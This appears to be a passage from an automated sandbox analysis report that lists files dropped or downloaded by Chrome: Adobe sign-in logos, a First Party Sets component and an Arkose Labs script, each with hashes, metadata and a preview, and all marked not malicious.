Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1395
Entropy (8bit):	5.208290651600866
Encrypted:	false
SSDEEP:	24:tsWIKcRjJhKjY5AV8LVM3xjMAQilUK4clMMAk2iIlXQLxGMA9boilT7OQw/acW/E:fITjVKVUYpQvK47PBOm9cs3wSTW8m
MD5:	02AC94A5A07350ADB0D698C5064D4E1B
SHA1:	CD1777F9A9FC8C7D764C6538F8A0610B6E9F2829
SHA-256:	52CFE86EC6730241C530C5617099657F9B7561994CD257E50ACA4E60737851FD
SHA-512:	90D090E2A4DC7951DBA3526E625DB0C96DA913E18E91867A51D1CAB21CC63F4B93DC3CBF1ECE258549EAB10C8E1E6F66A37427C49E51537CE64CCA907AE5EABE
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/sml-google-logo.svg
Preview:	<svg id="Button_-_Google" data-name="Button - Google" xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25" fill="#fff"/>. <g id="Group_69890" data-name="Group 69890" transform="translate(13 10.771)">. <g id="logo_googleg_48dp" transform="translate(0 2.228)">. <path id="Shape" d="M20.52,9.818A13.788,13.788,0,0,0,20.3,7.364H9v4.642h6.458a5.52,5.52,0,0,1-2.395,3.622v3.011h3.878a11.7,11.7,0,0,0,3.578-8.82Z" transform="translate(3 2.455)" fill="#4285f4" fill-rule="evenodd"/>. <path id="Shape-2" data-name="Shape" d="M11.681,20.43a11.456,11.456,0,0,0,7.942-2.907l-3.878-3.011a7.24,7.24,0,0,1-10.778-3.8H.957v3.109A12,12,0,0,0,11.681,20.43Z" transform="translate(0.319 3.57)" fill="#34a853" fill-rule="evenodd"/>. <path id="Shape-3" data-name="Shape" d="M5.285,12.627a7.094,7.094,0,0,1,0-4.56V4.958H1.276a12.015,12.015,0,0,0,0,10.778l4.009-3.109Z" transform="translate(0 1.653)" fill="#fbbc05" fill-rul

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	748
Entropy (8bit):	4.660933852975397
Encrypted:	false
SSDEEP:	12:t4NlfPGECSOn7QVP8B/HaqhAX7dU2SHalK3eRVnzKmQweoxGIJeJMcfNr77JBTyn:t4NlfPGjn7h1HaqAX7dtRK+Jz9eoxdJL
MD5:	4C5A5A172465BEFD580445C07F70F2F0
SHA1:	8FAF7BDA342FC570795E46B6DD908AFE3BB49B8F
SHA-256:	14C7E9928FABB3ACF7BC07024069E2ACDAED31BC66EBDCB1FCA8E38D27B8037F
SHA-512:	F6B05E5116FABA49803BCE3F5731CDA12C8E9CD60A984F8515800B1276ED3025671E9A40F1254380140C6C9F97CAA5BE4B79DDBB5180294DED3761357ED64306
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/apple.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 26.034 32"><g transform="translate(0 0)"><path d="M31.354,22.608a7.272,7.272,0,0,1,3.463-6.1,7.444,7.444,0,0,0-5.865-3.171c-2.468-.259-4.86,1.477-6.117,1.477-1.282,0-3.218-1.451-5.3-1.408a7.811,7.811,0,0,0-6.573,4.009c-2.842,4.921-.722,12.152,2,16.129,1.362,1.948,2.954,4.123,5.037,4.046,2.038-.085,2.8-1.3,5.26-1.3,2.438,0,3.152,1.3,5.277,1.251,2.187-.035,3.565-1.956,4.88-3.922a16.109,16.109,0,0,0,2.231-4.544,7.027,7.027,0,0,1-4.29-6.465Z" transform="translate(-9.609 -5.59)"/><path d="M23.551,12.976a7.16,7.16,0,0,0,1.638-5.13,7.285,7.285,0,0,0-4.714,2.439,6.813,6.813,0,0,0-1.681,4.94A6.024,6.024,0,0,0,23.551,12.976Z" transform="translate(-5.82 -7.847)"/></g></svg>.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2385
Entropy (8bit):	4.552627667062907
Encrypted:	false
SSDEEP:	48:H/x7RIelK6eG0UPR/6OJz7fOn6WtTZeIdzKLj6RtAFmALWmc5nvq6GwhJwjwAg:J7R5EDLUPR/Zz7Gn59xe6tfu+qPaym
MD5:	E36799E0084267AA804E9B470DE17094
SHA1:	C15770F1FAADE2A58003BA8D3E34940621987DE2
SHA-256:	6BD8880193131672D32517ED1EA30CF871F317B9A62F523F67B8A3B34CAF1722
SHA-512:	C3DF0BD86D66A78DC46161D0E5B10802D6E9C34102E8743EA600F995D1018F30B314275D6BE9195937AA24F62FB452D2FA5C61916E72A81CD902808464BC72EB
Malicious:	false
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" width='70' height='18' viewBox="0 0 453.75 118.11" focusable='false'>. <path. d="M202,85.26l-4.89,15.08a1.1,1.1,0,0,1-1.12.82H184.12c-.71,0-.92-.41-.81-1L203.7,41.31a18.89,18.89,0,0,0,1-6.22.68.68,0,0,1,.61-.71h16.31c.51,0,.71.1.82.61l23.14,65.25c.2.51.1.92-.51.92H231.84a1,1,0,0,1-1.13-.71l-5.2-15.19Zm19.78-12.75c-2-6.73-6.12-19.06-8.05-26.3h-.1c-1.64,6.83-5.31,18-8,26.3Z". transform="translate(-6.07 -6.51)"/>. <path. d="M247.21,76.28c0-14.58,10.91-26.81,29.57-26.81.81,0,1.83.1,3.36.2V29.59a.64.64,0,0,1,.71-.71H293.7c.51,0,.61.2.61.61V89.74a56.68,56.68,0,0,0,.41,7.44c0,.51-.1.72-.71.92a51.21,51.21,0,0,1-20.09,4.08C258.83,102.18,247.21,93.62,247.21,76.28Zm32.93-14.47a10.53,10.53,0,0,0-3.77-.51c-7.85,0-14.58,4.79-14.58,14.27,0,10.09,5.81,14.48,13.56,14.48a14.38,14.38,0,0,0,4.79-.61Z". transform="translate(-6.07 -6.51)"/>. <path. d="M352.7,75.57c0,16-10.

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	392
Entropy (8bit):	5.080341403416466
Encrypted:	false
SSDEEP:	12:t4NlfPGnR5e9EaV60EzDX0w2HbrmiFgxyaTbh:t4NlfPGnRw9EHWHbvgUafh
MD5:	AAEB95990783A7B42BEC3670F58E3FE0
SHA1:	6ACCE01366AA766DA036A30D1F806C0DE7B83672
SHA-256:	60A63C156DBCFE2188678E58F0357C23CB325E45B1B854C9DB9A1D47E091A38E
SHA-512:	E66DE7CE6DF64A9F2C3166B7C1176949DA1292316FFCC8119F1F3573F2A6A6C4D6F7E8993F00D2E31D94B0989663CE74C8EE5C0CA58FC2DE2C5B9C38B8B04780
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/facebook.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 16 16">. <path id="new_facebook_logo" data-name="new facebook logo" d="M16,8.049A8,8,0,1,0,6.75,16V10.376H4.719V8.049H6.75V6.276A2.832,2.832,0,0,1,9.772,3.144a12.235,12.235,0,0,1,1.791.157V5.282H10.554A1.16,1.16,0,0,0,9.25,6.54V8.049h2.219l-.355,2.327H9.25V16A8.036,8.036,0,0,0,16,8.049Z" fill="#1877F2"/>.</svg>.

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 130 x 130, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2465
Entropy (8bit):	7.853932542742166
Encrypted:	false
SSDEEP:	48:ny3UQqickfo8MoVresug8WZXDu203J2T+Xpy+V/cVnbGd+5/ps9EmTQGIY+wjYIH:OBcOouesucZXDSZeg0A/cVnSjTYjHIH
MD5:	4EDEBE50E0322D9C9A18AE9545CA6EAF
SHA1:	0ED972660ABDE62E2D000854B912412AA16B73CD
SHA-256:	055B86BAC8B7E6902F4CCE2FF8C77D055CB439F2F94E9C784C968A0F9A5FD7EF
SHA-512:	F96EB6083C7733B4171F4A56D0E6B729F46FAB74CE090F351F485CDFC7C9164126F5D2EEB90931E09E89B7C6365120C4767E5C28FCC0C3FAEF4A0222601AD150
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/f_logo_RGB-Blue_58.png
Preview:	.PNG........IHDR.....................pHYs..........&.?...SIDATx..]h\E..gw...t.I[Zo.t+>.-$..(.l.........D....BSE..!...G..RH..IM^.R....m.Z...f...cWf{...;w...3...,.vv..;.=s...9.F.A.$..;.4A! MP.H....+...(T....<..!}.....\|..e...H.."....9.'4%....P...m{.0o.K.D.\|.......h...Q..o.0...h.c.>...b..+.VB0.Uj...C./.I....x.Z..(T...?.4....T..........a.....2NEQ...T.8.....#.A..LdD5A(%...FBb.:1..Pb.PB.0......J...../$P!.0@o..Lc.(Q.(.."0!@.o,".]N.p!=...Z.Q.R+.3...Z.)..".".P0.A_.).w...HI...\|*.SB../.S.2...!..p.E...w...7......L..Y....\|u..)D.xg.o'.7.`....y.i@.P.. \|../..,..@<i....Y.E@.@..}....E ....'.....82(.y.@.^.B..P.\....v.Izc.y.\|.N.j.....z)J.3.l ..d.<.......G.$V.n..^.YY#..........z.B....B=y.f.\.Yg>..bj...,..P...2....k...Yzhg\|'.(.....>.....6:.........XJ....?........I..\|.D.....kv.,..$j...$..'6W...I..te..7r...E.O..8...M$.....=.6..jh.!A..!u..\|k.....F.q5D.....YO...2..`..{.p,.....b.r...u.ut$...'ZB}........Z.mO............;......5.~../%+LC.qd..X.m....J...N.m.l.Awk@#.LC4.m..Z.....

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1018
Entropy (8bit):	4.9180707096242395
Encrypted:	false
SSDEEP:	24:tbMB0N6bJK+I6Ng9naR3n8BoDU/pfSXajb2X32Md/xWMd/qoMdjI:wvbJK+ImgdaR8oCpfL83Bd/xhd/qfdM
MD5:	2F5B6831B8B9863CA44D4C84427D55DB
SHA1:	041110F845CAD77582A009481BACB70EFDAC73E9
SHA-256:	D295C74ADFAD84A0D7C3E720A70126A7405B396D20A61CE25D1D67266D672E11
SHA-512:	5858F6D6224B27E6749E8D876F5FB956ECA710038E1D21AE43D740E6BF6B64EAC1EB91B79E6F266B8E78C62C2B5E07FC560E8847AA65ACF711CAA382476A63F0
Malicious:	false
Preview:	<svg id="production" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">. <defs>. <style>. .cls-1 {. fill: #4b4b4b;. }. </style>. </defs>. <title>Artboard 68</title>. <path class="cls-1" d="M17.99316,30.06445a1.98415,1.98415,0,0,1-1.48828-.67383L10.82422,23H5.05957A5.0659,5.0659,0,0,1,0,17.93945V7.05957A5.06506,5.06506,0,0,1,5.05957,2H26.93994A5.06548,5.06548,0,0,1,32,7.05957V17.93945A5.06632,5.06632,0,0,1,26.93994,23H20v5.0625a1.98517,1.98517,0,0,1-1.28955,1.86914A2.00829,2.00829,0,0,1,17.99316,30.06445ZM5.05957,4A3.06278,3.06278,0,0,0,2,7.05957V17.93945A3.06361,3.06361,0,0,0,5.05957,21h6.21387a.99954.99954,0,0,1,.74756.33594L18,28.0625V22a.99974.99974,0,0,1,1-1h7.93994A3.06372,3.06372,0,0,0,30,17.93945V7.05957A3.06288,3.06288,0,0,0,26.93994,4Z"/>. <g>. <circle class="cls-1" cx="9.70414" cy="12.5" r="2.09862"/>. <circle class="cls-1" cx="16" cy="12.5" r="2.09862"/>. <circle class="cls-1" cx="22.29586" cy="12.5" r="2.09862

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2385
Entropy (8bit):	4.552627667062907
Encrypted:	false
SSDEEP:	48:H/x7RIelK6eG0UPR/6OJz7fOn6WtTZeIdzKLj6RtAFmALWmc5nvq6GwhJwjwAg:J7R5EDLUPR/Zz7Gn59xe6tfu+qPaym
MD5:	E36799E0084267AA804E9B470DE17094
SHA1:	C15770F1FAADE2A58003BA8D3E34940621987DE2
SHA-256:	6BD8880193131672D32517ED1EA30CF871F317B9A62F523F67B8A3B34CAF1722
SHA-512:	C3DF0BD86D66A78DC46161D0E5B10802D6E9C34102E8743EA600F995D1018F30B314275D6BE9195937AA24F62FB452D2FA5C61916E72A81CD902808464BC72EB
Malicious:	false
URL:	https://auth.services.adobe.com/img/generic/adobe_logo_black.svg
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" width='70' height='18' viewBox="0 0 453.75 118.11" focusable='false'>. <path. d="M202,85.26l-4.89,15.08a1.1,1.1,0,0,1-1.12.82H184.12c-.71,0-.92-.41-.81-1L203.7,41.31a18.89,18.89,0,0,0,1-6.22.68.68,0,0,1,.61-.71h16.31c.51,0,.71.1.82.61l23.14,65.25c.2.51.1.92-.51.92H231.84a1,1,0,0,1-1.13-.71l-5.2-15.19Zm19.78-12.75c-2-6.73-6.12-19.06-8.05-26.3h-.1c-1.64,6.83-5.31,18-8,26.3Z". transform="translate(-6.07 -6.51)"/>. <path. d="M247.21,76.28c0-14.58,10.91-26.81,29.57-26.81.81,0,1.83.1,3.36.2V29.59a.64.64,0,0,1,.71-.71H293.7c.51,0,.61.2.61.61V89.74a56.68,56.68,0,0,0,.41,7.44c0,.51-.1.72-.71.92a51.21,51.21,0,0,1-20.09,4.08C258.83,102.18,247.21,93.62,247.21,76.28Zm32.93-14.47a10.53,10.53,0,0,0-3.77-.51c-7.85,0-14.58,4.79-14.58,14.27,0,10.09,5.81,14.48,13.56,14.48a14.38,14.38,0,0,0,4.79-.61Z". transform="translate(-6.07 -6.51)"/>. <path. d="M352.7,75.57c0,16-10.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1200, components 3
Category:	dropped
Size (bytes):	222975
Entropy (8bit):	7.978357450570736
Encrypted:	false
SSDEEP:	6144:qEae9vAOOU9DVq30kJ4ilupgLDwXZJyjgy59T:FxOyg30kJ4iAuLTjgy7
MD5:	EBB622283A008A598D5E51B3BCF74F13
SHA1:	5161619986CBBBABF1D772C72CFB6B84A38F5A42
SHA-256:	7864398D3C7F69CB529E871E89D1459CC385E8EBA6D2D4AB20117576770951E9
SHA-512:	30F8761974D46E601051BA9F764568C5E5687B17CB36891900C0AA195A1602966AE84C00FF8B022EA42A8650A925A48FC15941564A298413B7227D3F861E68D3
Malicious:	false
Preview:	......JFIF...........................................+......+&.%#%.&D5//5DNB>BN_UU_wqw................................+......+&.%#%.&D5//5DNB>BN_UU_wqw.............."..........4..................................................................)..2M....e.`.Fv.V(..+...Z#h...R...b0...L.0...2...R..j......0.P'..3......ug..Y.2.-&.P..M..,...f.=&.-...-....j#.<.YL.XZ[:.....R..-...[.,.7.e.jK....-(Qs..lV..2....T..6...@..3.[..U.....;$.6Fl.F4P ..B.E.FQz.T`Q..qR`....2...F.e.2.(..,.L..#...M.......[.../7......W/.6.k .&.0...2...Vi@.L9l..`...+2..h...2..V.XZM...`Ue)h...(.52.3...L..Q.....YXZL.PfV...0...-)te.T.......^..n.`.K(.@[N.X......P..4....i.#E...UT.F`..U.VR..NUa.Y.B.iVt...z...eY.,h.t.,K..5.RleZLk(g-.....3.4Z...EE.X....B.c..E'i..2.c+..Q..e@(.2..(..a........+"...=....z...,1.....gZ....r:9....x..?S.ec.T.a.e.XV.P..g..@....PT.de)J-(.DT`..i1.`..h+....X-&0.RmC...+(...#.3SEh-&.@.R,...@...-Zz.bRhZ,.Uj.g....FQU.`.!6.h.....l..J.E.i...gH..YV.e`...h..j-.dV.....Z...h..M..h.\.

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	271160
Entropy (8bit):	5.547687723035138
Encrypted:	false
SSDEEP:	6144:GVeF/OwGRgA1PCpk8rD9VJx1SIjGdQh1R6mX4:GVeflP1SGB9o
MD5:	5C52574099F1BE17250D9127E3A8D515
SHA1:	F06867CAD1359342F70C3CB1368E7AABE10B74E3
SHA-256:	71ED066BA926C37EFB9E2A351119BD6089C0C31AC32A3E64BB842EC6B0109FA9
SHA-512:	C2C114FEB2DE378816BF351F7F5CBBBB3C2155D239A383A6B5D1F71E88871186AA59A8FF9E081524B8D35D192C05BACF763FB84E69C76E49680972F6E2DEF126
Malicious:	false
Preview:	var arkoseLabsClientApi7f09c9f9;!function(){var t,e,n,r,o={1891:function(t,e){"use strict";e.J=void 0;var n=/^([^\w]*)(javascript\|data\|vbscript)/im,r=/&#(\w+)(^\w\|;)?/g,o=/&tab;/gi,i=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim,a=/^.+(:\|&colon;)/gim,c=[".","/"];e.J=function(t){var e,u=(e=t\|\|"",(e=e.replace(o," ")).replace(r,(function(t,e){return String.fromCharCode(e)}))).replace(i,"").trim();if(!u)return"about:blank";if(function(t){return c.indexOf(t[0])>-1}(u))return u;var s=u.match(a);if(!s)return u;var f=s[0];return n.test(f)?"about:blank":u}},8787:function(t,e){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function r(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function o(t,e,n){return e&&r(t.prototype,e),n&&r(t,n),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(t){return i=Object.setPr

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	392
Entropy (8bit):	5.080341403416466
Encrypted:	false
SSDEEP:	12:t4NlfPGnR5e9EaV60EzDX0w2HbrmiFgxyaTbh:t4NlfPGnRw9EHWHbvgUafh
MD5:	AAEB95990783A7B42BEC3670F58E3FE0
SHA1:	6ACCE01366AA766DA036A30D1F806C0DE7B83672
SHA-256:	60A63C156DBCFE2188678E58F0357C23CB325E45B1B854C9DB9A1D47E091A38E
SHA-512:	E66DE7CE6DF64A9F2C3166B7C1176949DA1292316FFCC8119F1F3573F2A6A6C4D6F7E8993F00D2E31D94B0989663CE74C8EE5C0CA58FC2DE2C5B9C38B8B04780
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 16 16">. <path id="new_facebook_logo" data-name="new facebook logo" d="M16,8.049A8,8,0,1,0,6.75,16V10.376H4.719V8.049H6.75V6.276A2.832,2.832,0,0,1,9.772,3.144a12.235,12.235,0,0,1,1.791.157V5.282H10.554A1.16,1.16,0,0,0,9.25,6.54V8.049h2.219l-.355,2.327H9.25V16A8.036,8.036,0,0,0,16,8.049Z" fill="#1877F2"/>.</svg>.

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1288
Entropy (8bit):	5.003353448492329
Encrypted:	false
SSDEEP:	24:2dkLxsN6g4R+p6Epwta0J5vDwNK6nCHxhfJPmggvn/H0SSHmDFR3l4:csxK2WDaJ+whHhmggv/UUR36
MD5:	22C0F5D1D9486E8AECC35634DE0EBC51
SHA1:	81638BFBDCD5C1391F993041E23CE2EC55407774
SHA-256:	BFE117A5846194E309FEB56EA18137CBF5C8080B5D5DB2FC4ECA8E3B3B09C617
SHA-512:	F79D173467CE83525FB6504E337B82CB6BB8E845F48ADDA0D1ACB68033C95BFC7BF93198BA2883DE997299756AEF7CB0F5899907B865986E938B63CDE5606EF7
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/sml-kakao-logo.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 25 25">. <defs>. <style>. .cls-1 {. clip-path: url(#clippath);. }.. .cls-2 {. fill: none;. }.. .cls-2, .cls-3, .cls-4, .cls-5 {. stroke-width: 0px;. }.. .cls-6 {. mask: url(#mask);. }.. .cls-4 {. fill: #fee500;. }.. .cls-5 {. fill: #fff;. }. </style>. <clipPath id="clippath">. <rect class="cls-2" x="6.5" y="7.5" width="12" height="10"/>. </clipPath>. <mask id="mask" x="-37.14" y="-31.7" width="101.41" height="64.6" maskUnits="userSpaceOnUse">. <g id="mask0_523_4559" data-name="mask0 523 4559">. <path class="cls-5" d="m-37.14-31.7h101.41V32.9H-37.14V-31.7Z"/>. </g>. </mask>. </defs>. <rect class="cls-4" x="0" y="0" width="25" height="25" rx="12.5" ry="12.5"/>. <g class="cls-1">.

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 130 x 130, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2465
Entropy (8bit):	7.853932542742166
Encrypted:	false
SSDEEP:	48:ny3UQqickfo8MoVresug8WZXDu203J2T+Xpy+V/cVnbGd+5/ps9EmTQGIY+wjYIH:OBcOouesucZXDSZeg0A/cVnSjTYjHIH
MD5:	4EDEBE50E0322D9C9A18AE9545CA6EAF
SHA1:	0ED972660ABDE62E2D000854B912412AA16B73CD
SHA-256:	055B86BAC8B7E6902F4CCE2FF8C77D055CB439F2F94E9C784C968A0F9A5FD7EF
SHA-512:	F96EB6083C7733B4171F4A56D0E6B729F46FAB74CE090F351F485CDFC7C9164126F5D2EEB90931E09E89B7C6365120C4767E5C28FCC0C3FAEF4A0222601AD150
Malicious:	false
Preview:	.PNG........IHDR.....................pHYs..........&.?...SIDATx..]h\E..gw...t.I[Zo.t+>.-$..(.l.........D....BSE..!...G..RH..IM^.R....m.Z...f...cWf{...;w...3...,.vv..;.=s...9.F.A.$..;.4A! MP.H....+...(T....<..!}.....\|..e...H.."....9.'4%....P...m{.0o.K.D.\|.......h...Q..o.0...h.c.>...b..+.VB0.Uj...C./.I....x.Z..(T...?.4....T..........a.....2NEQ...T.8.....#.A..LdD5A(%...FBb.:1..Pb.PB.0......J...../$P!.0@o..Lc.(Q.(.."0!@.o,".]N.p!=...Z.Q.R+.3...Z.)..".".P0.A_.).w...HI...\|*.SB../.S.2...!..p.E...w...7......L..Y....\|u..)D.xg.o'.7.`....y.i@.P.. \|../..,..@<i....Y.E@.@..}....E ....'.....82(.y.@.^.B..P.\....v.Izc.y.\|.N.j.....z)J.3.l ..d.<.......G.$V.n..^.YY#..........z.B....B=y.f.\.Yg>..bj...,..P...2....k...Yzhg\|'.(.....>.....6:.........XJ....?........I..\|.D.....kv.,..$j...$..'6W...I..te..7r...E.O..8...M$.....=.6..jh.!A..!u..\|k.....F.q5D.....YO...2..`..{.p,.....b.r...u.ut$...'ZB}........Z.mO............;......5.~../%+LC.qd..X.m....J...N.m.l.Awk@#.LC4.m..Z.....

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	751
Entropy (8bit):	4.648170767212003
Encrypted:	false
SSDEEP:	12:t4sBECSOn7QVP8B/HaqhAX7dU2SHalK3eRVnzKmQweoxGIJeJMcfNr77JBTyl1bj:t4sBjn7h1HaqAX7dtRK+Jz9eoxdJeJMZ
MD5:	A23D338C5AB2E6A2ECEAB9436B376308
SHA1:	45AE78B6650AA62FE93330806D5F5D430BF269B3
SHA-256:	F4B5AE2B108AC757F4EA43905CD55BE4816D65AE45CBF48FBE4AAB6AA1D6F92F
SHA-512:	FCAF93369A81BCE4B6441EEF3D294DE26CA5F8DFF34E63BA88BE0CA18ECB2C15097D5D26D64284CEEF00203B41EC6F87096697C493118DB6D7FDA49CE76B573B
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/apple.svg
